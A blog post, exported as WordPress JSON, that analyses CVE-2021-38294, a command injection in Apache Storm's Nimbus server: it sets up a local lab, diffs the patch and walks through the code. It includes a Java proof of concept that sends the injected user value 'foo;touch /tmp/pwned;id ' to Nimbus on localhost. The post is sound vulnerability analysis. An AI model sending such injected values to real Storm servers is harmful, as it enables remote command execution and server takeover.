{"id":68393,"date":"2023-06-26T15:42:39","date_gmt":"2023-06-26T07:42:39","guid":{"rendered":"https:\/\/version-2.com\/?p=68393"},"modified":"2023-07-24T18:16:15","modified_gmt":"2023-07-24T10:16:15","slug":"cve-2021-38294-apache-storm-nimbus-command-injection","status":"publish","type":"post","link":"https:\/\/version-2.com\/zh\/2023\/06\/cve-2021-38294-apache-storm-nimbus-command-injection\/","title":{"rendered":"CVE-2021-38294: Apache Storm Nimbus Command Injection"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"68393\" class=\"elementor elementor-68393\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-4da8c5f9 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"4da8c5f9\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;jet_parallax_layout_list&quot;:[{&quot;jet_parallax_layout_image&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;_id&quot;:&quot;decf9c3&quot;,&quot;jet_parallax_layout_image_tablet&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_image_mobile&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_speed&quot;:{&quot;unit&quot;:&quot;%&quot;,&quot;size&quot;:50,&quot;sizes&quot;:[]},&quot;jet_parallax_layout_type&quot;:&quot;scroll&quot;,&quot;jet_parallax_layout_direction&quot;:&quot;1&quot;,&quot;jet_parallax_layout_fx_direction&quot;:null,&quot;jet_parallax_layout_z_index&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x&quot;:50,&quot;jet_parallax_layout_bg_x_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y&quot;:50,&quot;jet_parallax_layout_bg_y_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size&quot;:&quot;auto&quot;,&quot;jet_parallax_layout_bg_size_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_animation_prop&quot;:&quot;transform&quot;,&quot;jet_parallax_layout_on&quot;:[&quot;desktop&quot;,&quot;tablet&quot;]}]}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-133ba185\" data-id=\"133ba185\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-fc2da8d post-content elementor-widget elementor-widget-text-editor\" data-id=\"fc2da8d\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<div class=\"news-detail-inner-content\" data-v-85c4bf60=\"\" data-v-0bbc59dc=\"\">\n<h1><span style=\"color: #000000;\"><strong>Introduction<\/strong><\/span><\/h1>\n<span style=\"color: #000000;\">#CVE-2021-38294 is a Command Injection vulnerability that affects Nimbus server in apache storm in\u00a0<code>getTopologyHistory<\/code>\u00a0services, A successful crafted request to Nimbus server will result in exploitation for this vulnerability will lead to execute malicious command &amp; takeover the server. The affected versions are\u00a0<code>1.x<\/code>\u00a0prior to\u00a0<code>1.2.4<\/code>\u00a0&amp;\u00a0<code>2.x<\/code>\u00a0prior to\u00a0<code>2.2.1<\/code>.<\/span>\n<h1><span style=\"color: #000000;\"><strong>What is Apache Storm ?<\/strong><\/span><\/h1>\n<span style=\"color: #000000;\"><code>Apache Storm<\/code>\u00a0is a distributed system for processing big data in real-time, Specifically designed to handle large volumes of data in a reliable and scalable manner and It operates as a streaming data framework allowing for high ingestion rates and efficient data processing. While it is stateless, Storm effectively manages distributed environments and cluster states through Apache ZooKeeper. It provides a straightforward approach to performing parallel manipulations on real-time data, enabling a wide range of data processing tasks. Apache Storm is extensively used by a lot of enterprises\/organizations such as Twitter for processing tweets and clicks in its\u00a0<code>Publisher Analytics Products<\/code>\u00a0suite, benefiting from deep integration with the Twitter infrastructure.<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj4197rg09zi0umz4vuy3uv3.png\" \/><\/span>\n\n<span style=\"color: #000000;\">In\u00a0<code>Apache Storm<\/code>\u00a0spouts and bolts are connected to form a topology, which represents the real-time application logic as a directed graph. Spouts emit data that is processed by bolts, and the output of a bolt can be passed to another bolt. storm keeps the topology running until explicitly stopped. The execution of spouts and bolts in storm is referred to as\u00a0<code>tasks<\/code>. Each spout and bolt can have multiple instances running in separate threads. These tasks are distributed across multiple worker nodes, and the worker nodes listen for jobs and manage the execution of tasks. Finally, What we will need to know well are\u00a0<code>Nimbus<\/code>\u00a0known as master node which plays a central role in the storm framework as it is responsible for running the storm topology by analyzes the topology and collects the tasks to be executed, distributing them to an available\u00a0<code>Supervisor<\/code>\u00a0node and\u00a0<code>Supervisor<\/code>\u00a0is the worker node which can have multiple worker processes, It&#8217;s job is to delegate the tasks to these worker processes &amp; each worker process can spawn multiple executors based on the required workload and executes the assigned tasks and communication between the\u00a0<code>Nimbus<\/code>\u00a0and\u00a0<code>Supervisors<\/code>\u00a0is facilitated through an internal distributed messaging system ensuring efficient coordination and data exchange within the storm cluster.<\/span>\n<h1><span style=\"color: #000000;\"><strong>Testing Lab<\/strong><\/span><\/h1>\n<span style=\"color: #000000;\">Let&#8217;s start to build our testing lab. First, We would need\u00a0<code>ZooKeeper<\/code>\u00a0to be installed you can download it from\u00a0<a style=\"color: #000000;\" href=\"https:\/\/archive.apache.org\/dist\/zookeeper\/zookeeper-3.7.0\/apache-zookeeper-3.7.0-bin.tar.gz\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">here<\/a>. After downloading, extract it and create a directory\u00a0<code>data<\/code>\u00a0within\u00a0<code>Zookeeper<\/code>\u00a0directory:<\/span>\n<pre><span style=\"color: #000000;\"><code>mkdir data<\/code><\/span><\/pre>\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj419gbm1fx70uof2lly0g8c.png\" \/><\/span>\n\n<span style=\"color: #000000;\">Next, Copy the sample configuration as a main configuration file for\u00a0<code>Zookeeper<\/code>:<\/span>\n<pre><span style=\"color: #000000;\"><code>cp conf\/zoo_sample.cfg conf\/zoo.cfg<\/code><\/span><\/pre>\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj419n9n0a0f0umzhykwhmq3.png\" \/><\/span>\n\n<span style=\"color: #000000;\">Open\u00a0<code>zoo.cfg<\/code>\u00a0file and add the\u00a0<code>data<\/code>\u00a0directory file path we created previously:<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj419uo00a0y0umzha1b896n.png\" \/><\/span>\n\n<span style=\"color: #000000;\">Now, Start\u00a0<code>ZooKeeper<\/code>:<\/span>\n<pre><span style=\"color: #000000;\"><code>.\/bin\/zkServer.sh start<\/code><\/span><\/pre>\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41a38w1fyo0uof3hsp1xml.png\" \/><\/span>\n\n<span style=\"color: #000000;\">The server started and verify it by running the\u00a0<code>CLI<\/code>:<\/span>\n<pre><span style=\"color: #000000;\"><code>.\/bin\/zkCli.sh<\/code><\/span><\/pre>\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41a9wr0a1q0umz66xbc0md.png\" \/><\/span>\n\n<span style=\"color: #000000;\">Now, It&#8217;s time to install &amp; start\u00a0<code>Apache Storm<\/code>, Download it from\u00a0<a style=\"color: #000000;\" href=\"https:\/\/archive.apache.org\/dist\/storm\/apache-storm-2.2.0\/apache-storm-2.2.0.zip\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">here<\/a>. First, Create another folder inside of\u00a0<code>apache storm<\/code>\u00a0directory by the name\u00a0<code>data<\/code>:<\/span>\n<pre><span style=\"color: #000000;\"><code>mkdir data<\/code><\/span><\/pre>\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41ag6n1fza0uof8coyfcu7.png\" \/><\/span>\n\n<span style=\"color: #000000;\">After that open the configurations file\u00a0<code>conf\/storm.yaml<\/code>\u00a0and add the following to the file:<\/span>\n<pre><span style=\"color: #000000;\"><code># Storm configuration file\n\n# Nimbus settings\nnimbus.seeds: [\"localhost\"]  # List of Nimbus hostnames or IP addresses\nnimbus.host: \"localhost\"\n# ZooKeeper settings\nstorm.zookeeper.servers:\n  - \"localhost\"\n\n# Storm UI settings\nui.port: 8081  \n\n# Supervisor settings\nsupervisor.slots.ports:\n  - 6700\n  - 6701\n  - 6702\n\n# Worker settings\nworker.childopts: \"-Xmx768m\"\n\n# Topology settings\ntopology.debug: true  # Enable debugging for topologies\ntopology.max.spout.pending: 1000  # Maximum number of pending messages per spout\n\n# Log4j settings\nworker.log.level: INFO  # Log level for Storm workers<\/code><\/span><\/pre>\n<span style=\"color: #000000;\">Don&#8217;t forget to replace the\u00a0<code>Zookeper<\/code>\u00a0&amp;\u00a0<code>Nimbus<\/code>\u00a0server IP with your IP (<code>The same machine IP<\/code>). Let&#8217;s start it now. Starting\u00a0<code>Nimbus<\/code>\u00a0server:<\/span>\n<pre><span style=\"color: #000000;\"><code>.\/bin\/storm nimbus<\/code><\/span><\/pre>\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41antg0a2j0umz3m9zc3jx.png\" \/><\/span>\n\n<span style=\"color: #000000;\">Starting\u00a0<code>Supervisor<\/code>:<\/span>\n<pre><span style=\"color: #000000;\"><code>.\/bin\/storm supervisor<\/code><\/span><\/pre>\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41awct0a2u0umz2kqu86fc.png\" \/><\/span>\n\n<span style=\"color: #000000;\">Starting\u00a0<code>Storm<\/code>\u00a0UI:<\/span>\n<pre><span style=\"color: #000000;\"><code>.\/bin\/storm ui<\/code><\/span><\/pre>\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41b2l90a380umz41sgexsg.png\" \/><\/span>\n\n<span style=\"color: #000000;\">Visit the\u00a0<code>UI<\/code>\u00a0on port\u00a0<code>8081<\/code>\u00a0as we configure:<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41bd201g0x0uof3qm52fuw.png\" \/><\/span>\n<h1><span style=\"color: #000000;\"><strong>Patch Diffing<\/strong><\/span><\/h1>\n<span style=\"color: #000000;\">You can download the source code from\u00a0<a style=\"color: #000000;\" href=\"https:\/\/archive.apache.org\/dist\/storm\/apache-storm-2.2.0\/apache-storm-2.2.0-src.zip\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">here<\/a>, The patch\u00a0<a style=\"color: #000000;\" href=\"https:\/\/github.com\/apache\/storm\/commit\/aa67da56da0e21506624ea9ad12b35b630d28dc8\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">here<\/a>\u00a0on github.<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41bird0a3x0umzb8o0glgh.png\" \/><\/span>\n\n<span style=\"color: #000000;\">It shows us changes made to\u00a0<code>storm-client\/src\/jvm\/org\/apache\/storm\/utils\/ShellUtils.java<\/code>\u00a0where the\u00a0<code>getGroupsCommand()<\/code>\u00a0method got deleted which was return a command as a string array to retrieve the groups on the system. Then, the following function modified:<\/span>\n<pre><span style=\"color: #000000;\"><code>##### Before\npublic static String[] getGroupsForUserCommand(final String user) {\n        if (WINDOWS) {\n            throw new UnsupportedOperationException(\"Getting user groups is not supported on Windows\");\n        }\n        \/\/'groups username' command return is non-consistent across different unixes\n        return new String[]{\n            \"bash\", \"-c\", \"id -gn \" + user\n                          + \"&amp;&amp; id -Gn \" + user\n        };\n    }\n    \n##### After\npublic static String[] getGroupsForUserCommand(final String user) {\n        if (WINDOWS) {\n            throw new UnsupportedOperationException(\"Getting user groups is not supported on Windows\");\n        }\n        \/\/'groups username' command return is non-consistent across different unixes\n        return new String[]{\"id\", \"-Gn\", user};\n    }<\/code><\/span><\/pre>\n<span style=\"color: #000000;\">The modification of\u00a0<code>getGroupsForUserCommand(String user)<\/code>\u00a0has been updated to use a more concise command. We can see clearly from the patch diffing that the Command Injection Occures in this part specifically in\u00a0<code>user<\/code>\u00a0parameter that get passed to the\u00a0<code>getGroupsForUserCommand()<\/code>\u00a0and also we can notice the\u00a0<code>bach -c<\/code>\u00a0in the\u00a0<code>String<\/code>\u00a0array, Let&#8217;s move to the analysis to understand how this happens.<\/span>\n<h1><span style=\"color: #000000;\"><strong>The Analysis<\/strong><\/span><\/h1>\n<span style=\"color: #000000;\">When we go to the\u00a0<code>apache-storm-2.2.0\/storm-client\/src\/jvm\/org\/apache\/storm\/utils\/ShellUtils.java<\/code>\u00a0and scroll down after\u00a0<code>getGroupsForUserCommand()<\/code>\u00a0method we can see the following:<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41brrb1g1o0uof691kgpzt.png\" \/><\/span>\n\n<span style=\"color: #000000;\">This\u00a0<code>run()<\/code>\u00a0method is declared as\u00a0<code>protected<\/code>\u00a0which means it can only be accessed within the same package or by sub-classes and it implements a control flow that determines whether a specified interval has passed since the last execution, If the interval has passed it will reset the\u00a0<code>exitCode<\/code>\u00a0and proceeds to execute the\u00a0<code>runCommand()<\/code>\u00a0method. Now, By scrolling down:<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41bxz71g1v0uofh4zh3vxo.png\" \/><\/span>\n\n<span style=\"color: #000000;\">We will be able to see the\u00a0<code>runCommand()<\/code>\u00a0method and It&#8217;s a long method, So let&#8217;s break it down and explain it:<\/span>\n<pre><span style=\"color: #000000;\"><code>ProcessBuilder builder = new ProcessBuilder(getExecString());\nTimer timeOutTimer = null;\nShellTimeoutTimerTask timeoutTimerTask = null;\ntimedOut = new AtomicBoolean(false);\ncompleted = new AtomicBoolean(false);<\/code><\/span><\/pre>\n<span style=\"color: #000000;\">First, It creates a new\u00a0<code>ProcessBuilder<\/code>\u00a0object with the executable command obtained from the\u00a0<code>getExecString()<\/code>\u00a0method:<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41cl621g370uofhf6w2752.png\" \/><\/span>\n\n<span style=\"color: #000000;\">Here is the\u00a0<code>getExecString()<\/code>\u00a0method which returns the command value. Then, it declares two variables of type\u00a0<code>Timer<\/code>\u00a0and\u00a0<code>ShellTimeoutTimerTask<\/code>\u00a0as\u00a0<code>null<\/code>\u00a0which will be used to handle timeouts for the command execution. Finally, Creates two\u00a0<code>AtomicBoolean<\/code>\u00a0variables named\u00a0<code>timedOut<\/code>\u00a0and\u00a0<code>completed<\/code>\u00a0&amp; initializes them with the value\u00a0<code>false<\/code>\u00a0which used to track the status of the command execution.<\/span>\n<pre><span style=\"color: #000000;\"><code>if (environment != null) {\n    builder.environment().putAll(this.environment);\n}\nif (dir != null) {\n    builder.directory(this.dir);\n}\n\nbuilder.redirectErrorStream(redirectErrorStream);\nprocess = builder.start();<\/code><\/span><\/pre>\n<span style=\"color: #000000;\">The first\u00a0<code>if<\/code>\u00a0condition checks if the\u00a0<code>environment<\/code>\u00a0variable is not\u00a0<code>null<\/code>\u00a0and If it&#8217;s not\u00a0<code>null<\/code>, it retrieves the environment variables associated with the\u00a0<code>ProcessBuilder<\/code>\u00a0instance using\u00a0<code>builder.environment()<\/code>\u00a0and adds all the key value pairs from the\u00a0<code>this.environment<\/code>\u00a0map. The second\u00a0<code>if<\/code>\u00a0condition checks if the\u00a0<code>dir<\/code>\u00a0variable is not\u00a0<code>null<\/code>\u00a0and If it&#8217;s not\u00a0<code>null<\/code>, it sets the working directory of the process to the specified directory\u00a0<code>t his.dir<\/code>\u00a0using\u00a0<code>builder.directory(this.dir)<\/code>. Finally, it&#8217;s configuring the\u00a0<code>ProcessBuilder<\/code>\u00a0to redirect the error stream of the process to the same output stream If\u00a0<code>redirectErrorStream<\/code>\u00a0is set to\u00a0<code>true<\/code>\u00a0the error stream will be merged with the standard output stream and then starts the process using the configured\u00a0<code>ProcessBuilder<\/code>\u00a0by calling the\u00a0<code>start()<\/code>\u00a0method.<\/span>\n<pre><span style=\"color: #000000;\"><code>if (timeOutInterval &gt; 0) {\n    timeOutTimer = new Timer(\"Shell command timeout\");\n    timeoutTimerTask = new ShellTimeoutTimerTask(this);\n    \/\/One time scheduling.\n    timeOutTimer.schedule(timeoutTimerTask, timeOutInterval);\n}\nfinal BufferedReader errReader =\n    new BufferedReader(new InputStreamReader(process\n                                                 .getErrorStream()));\nBufferedReader inReader =\n    new BufferedReader(new InputStreamReader(process\n                                                 .getInputStream()));\nfinal StringBuffer errMsg = new StringBuffer();\n\n\/\/ read error and input streams as this would free up the buffers\n\/\/ free the error stream buffer\nThread errThread = new Thread() {<\/code><\/span><\/pre>\n<span style=\"color: #000000;\">Moving to here this\u00a0<code>IF<\/code>\u00a0condition checks if the\u00a0<code>timeOutInterval<\/code>\u00a0is greater than\u00a0<code>0<\/code>, then set up a timer\u00a0<code>Shell command timeout<\/code>\u00a0task to handle the timeout and schedule the\u00a0<code>timeoutTimerTask<\/code>\u00a0to run after the specified\u00a0<code>timeOutInterval<\/code>\u00a0in milliseconds. After that create 2\u00a0<code>BufferedReader<\/code>\u00a0objects which are\u00a0<code>errReader<\/code>\u00a0and\u00a0<code>inReader<\/code>\u00a0to read the error and input streams of the process, respectively. The\u00a0<code>process.getErrorStream()<\/code>\u00a0and\u00a0<code>process.getInputStream()<\/code>\u00a0methods return the streams associated with the running process. Next, a\u00a0<code>StringBuffer<\/code>\u00a0object named\u00a0<code>errMsg<\/code>\u00a0to store the error message, a new\u00a0<code>Thread<\/code>\u00a0object named\u00a0<code>errThread<\/code>\u00a0then create an anonymous subclass of\u00a0<code>Thread<\/code>\u00a0with overridden\u00a0<code>run()<\/code>\u00a0method.<\/span>\n<pre><span style=\"color: #000000;\"><code>@Override\npublic void run() {\n    try {\n        String line = errReader.readLine();\n        while ((line != null) &amp;&amp; !isInterrupted()) {\n            errMsg.append(line);\n            errMsg.append(System.getProperty(\"line.separator\"));\n            line = errReader.readLine();\n        }\n    } catch (IOException ioe) {\n        LOG.warn(\"Error reading the error stream\", ioe);\n    }\n}\n};\ntry {\nerrThread.start();\n} catch (IllegalStateException ise) {\n\/\/ignore\n}\ntry {\nparseExecResult(inReader); \/\/ parse the output\n\/\/ clear the input stream buffer\nString line = inReader.readLine();\nwhile (line != null) {\n    line = inReader.readLine();\n}\n\/\/ wait for the process to finish and check the exit code\nexitCode = process.waitFor();\n\/\/ make sure that the error thread exits\njoinThread(errThread);\ncompleted.set(true);\n\/\/the timeout thread handling\n\/\/taken care in finally block\nif (exitCode != 0) {\n    throw new ExitCodeException(exitCode, errMsg.toString());\n}\n} catch (InterruptedException ie) {\nthrow new IOException(ie.toString());\n} finally {\nif (timeOutTimer != null) {\n    timeOutTimer.cancel();\n}\n\/\/ close the input stream\ntry {\n    \/\/ JDK 7 tries to automatically drain the input streams for us\n    \/\/ when the process exits, but since close is not synchronized,\n    \/\/ it creates a race if we close the stream first and the same\n    \/\/ fd is recycled.  the stream draining thread will attempt to\n    \/\/ drain that fd!!  it may block, OOM, or cause bizarre behavior\n    \/\/ see: https:\/\/bugs.openjdk.java.net\/browse\/JDK-8024521\n    \/\/      issue is fixed in build 7u60\n    InputStream stdout = process.getInputStream();\n    synchronized (stdout) {\n        inReader.close();\n    }\n} catch (IOException ioe) {\n    LOG.warn(\"Error while closing the input stream\", ioe);\n}\nif (!completed.get()) {\n    errThread.interrupt();\n    joinThread(errThread);\n}\ntry {\n    InputStream stderr = process.getErrorStream();\n    synchronized (stderr) {\n        errReader.close();\n    }\n} catch (IOException ioe) {\n    LOG.warn(\"Error while closing the error stream\", ioe);\n}\nprocess.destroy();\nlastTime = System.currentTimeMillis();\n}<\/code><\/span><\/pre>\n<span style=\"color: #000000;\">Finally, In a summary defines a thread that reads the error stream and appends its contents to the\u00a0<code>errMsg<\/code>\u00a0<code>StringBuffer<\/code>\u00a0and start the thread &amp; then proceeds to parse the output from the input stream using the\u00a0<code>parseExecResult<\/code>\u00a0method. After that, the input stream clear its buffer. Then, wait for the process to finish and retrieves the exit code. Next, It ensure that the error thread has exited by joining it and If the exit code is not zero, it throws an\u00a0<code>ExitCodeException<\/code>\u00a0with the error message. In the\u00a0<code>finally<\/code>\u00a0block, it cancel the timeout timer if it exists, closes the input stream, interrupts the error thread if the command execution is not completed, closes the error stream, destroys the process, and updates the\u00a0<code>lastTime<\/code>\u00a0variable with the current time. So, Now how actually the code can get injected or where is the point that the user give the malicious input ?. Let&#8217;s discover it by going through the\u00a0<code>PoC<\/code>:<\/span>\n<pre><span style=\"color: #000000;\"><code>import org.apache.storm.utils.NimbusClient;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\n\npublic class ThriftClient {\n    public static void main(String[] args) throws Exception {\n        HashMap config = new HashMap();\n        List&lt;String&gt; seeds = new ArrayList&lt;String&gt;();\n        seeds.add(\"localhost\");\n        config.put(\"storm.thrift.transport\", \"org.apache.storm.security.auth.SimpleTransportPlugin\");\n        config.put(\"storm.thrift.socket.timeout.ms\", 60000);\n        config.put(\"nimbus.seeds\", seeds);\n        config.put(\"storm.nimbus.retry.times\", 5);\n        config.put(\"storm.nimbus.retry.interval.millis\", 2000);\n        config.put(\"storm.nimbus.retry.intervalceiling.millis\", 60000);\n        config.put(\"nimbus.thrift.port\", 6627);\n        config.put(\"nimbus.thrift.max_buffer_size\", 1048576);\n        config.put(\"nimbus.thrift.threads\", 64);\n        NimbusClient nimbusClient = new NimbusClient(config, \"localhost\", 6627);\n\n        \/\/ send attack\n        nimbusClient.getClient().getTopologyHistory(\"foo;touch \/tmp\/pwned;id \");\n    }\n}<\/code><\/span><\/pre>\n<span style=\"color: #000000;\">When we take a look here at the\u00a0<code>PoC<\/code>\u00a0we can notice that it&#8217;s connecting to\u00a0<code>Storm<\/code>\u00a0cluster by adding the configuration first. Then connect to the cluster at\u00a0<code>localhost<\/code>\u00a0on port\u00a0<code>6627<\/code>\u00a0&amp; passing the previous configurations. the call the\u00a0<code>getTopologyHistory()<\/code>\u00a0function from the\u00a0<code>Storm<\/code>\u00a0Client. And here where is the command Injection happens. Let&#8217;s take a look at the implementation of\u00a0<code>Nimbus<\/code>\u00a0and the function:<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41d19g0a6o0umz55vhd4z5.png\" \/><\/span>\n\n<span style=\"color: #000000;\">When we go under\u00a0<code>apache-storm-2.2.0\/storm-server\/src\/main\/java\/org\/apache\/storm\/nimbus\/NimbusHeartbeatsPressureTest.java<\/code>\u00a0which is responsible for implementation of a\u00a0<code>Nimbus<\/code>\u00a0heartbeats pressure test. It starts with defining the class and other variables for configurations.<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41dcdm0a790umz1hvhfoua.png\" \/><\/span>\n\n<span style=\"color: #000000;\">After that as we can see it starts to initializing the\u00a0<code>Config<\/code>\u00a0for the heartbeats pressure test. Then by scrolling more down:<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41dirj0a7l0umzgucdbod6.png\" \/><\/span>\n\n<span style=\"color: #000000;\">We can see clearly in the\u00a0<code>HeartbeatSendTask<\/code>\u00a0that it&#8217;s using the defined\u00a0<code>NimbusClient<\/code>\u00a0that named\u00a0<code>client<\/code>\u00a0to create a new client connection &amp; Passed the previous initialized\u00a0<code>Config<\/code>\u00a0with\u00a0<code>Nimbus<\/code>\u00a0Host &amp; Port.<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41dqao0a840umzgif90jlo.png\" \/><\/span>\n\n<span style=\"color: #000000;\">Finally, Here we can see it started to connect to the configured\u00a0<code>client<\/code>\u00a0and call the\u00a0<code>sendSupervisorWorkerHeartbeats()<\/code>\u00a0method which can be called remotely. Now, if we go to the\u00a0<code>apache-storm-2.2.0\/storm-server\/src\/main\/java\/org\/apache\/storm\/daemon\/nimbus\/Nimbus.java<\/code>\u00a0Class:<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41dy7o0a8b0umz1au34gto.png\" \/><\/span>\n\n<span style=\"color: #000000;\">Here we can see the method clearly accessible remotely and also if we search for\u00a0<code>getTopologyHistory()<\/code>\u00a0method:<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41eeqf1g6c0uof8ww2a384.png\" \/><\/span>\n\n<span style=\"color: #000000;\">Here we can see the method clearly and it takes the\u00a0<code>user<\/code>\u00a0as an parameter to retrieve the topology history information for a the user. And here where the command get injected, When we back to the first of the analysis at the patch diffing when we return information about user, As the user here can be passed and manupilated by anyone through\u00a0<code>getTopologyHistory()<\/code>\u00a0method. It will result in malicious command Injection.<\/span>\n<h1><span style=\"color: #000000;\"><strong>Exploitation<\/strong><\/span><\/h1>\n<span style=\"color: #000000;\">Here we have 2 ways to exploit\u00a0<code>CVE-2021-38294<\/code>\u00a0an exploit within\u00a0<code>Metasploit<\/code>\u00a0with metasploit as it&#8217;s easy to use and most of us fimalier with it By using the following module:<\/span>\n\n<span style=\"color: #000000;\"><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj41emu40a9f0umz5ziz3glq.png\" \/><\/span>\n\n<span style=\"color: #000000;\">and the 2nd one is a\u00a0<code>PoC<\/code>\u00a0within\u00a0<a style=\"color: #000000;\" href=\"https:\/\/securitylab.github.com\/advisories\/GHSL-2021-085-apache-storm\/\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">github<\/a>.<\/span>\n<h1><span style=\"color: #000000;\"><strong>Conclusion<\/strong><\/span><\/h1>\n<span style=\"color: #000000;\">Finally, This bug only works on linux as the injectable of the affected component is when getting the information about the user on linux. We saw how this vulnerability happens and the root-cause of the vulnerability &amp; How it can be exploited remotely.<\/span>\n<h1><span style=\"color: #000000;\"><strong>Resources<\/strong><\/span><\/h1>\n<ul>\n \t<li><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/www.cloudduggu.com\/storm\/installation\/\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/www.cloudduggu.com\/storm\/installation\/<\/a><\/span><\/li>\n \t<li><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/archive.apache.org\/dist\/zookeeper\/zookeeper-3.7.0\/apache-zookeeper-3.7.0-bin.tar.gz\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/archive.apache.org\/dist\/zookeeper\/zookeeper-3.7.0\/apache-zookeeper-3.7.0-bin.tar.gz<\/a><\/span><\/li>\n \t<li><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/archive.apache.org\/dist\/storm\/apache-storm-2.2.0\/apache-storm-2.2.0.zip\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/archive.apache.org\/dist\/storm\/apache-storm-2.2.0\/apache-storm-2.2.0.zip<\/a><\/span><\/li>\n<\/ul>\n<span style=\"color: #000000;\">#apache #storm #cve #analysis<\/span>\n\n<\/div>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-8085a61 post-content elementor-widget elementor-widget-shortcode\" data-id=\"8085a61\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<div class=\"elementor-shortcode\">\t\t<div data-elementor-type=\"page\" data-elementor-id=\"18103\" class=\"elementor elementor-18103\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-748947f elementor-section-full_width elementor-section-height-default elementor-section-height-default\" data-id=\"748947f\" data-element_type=\"section\" data-e-type=\"section\" 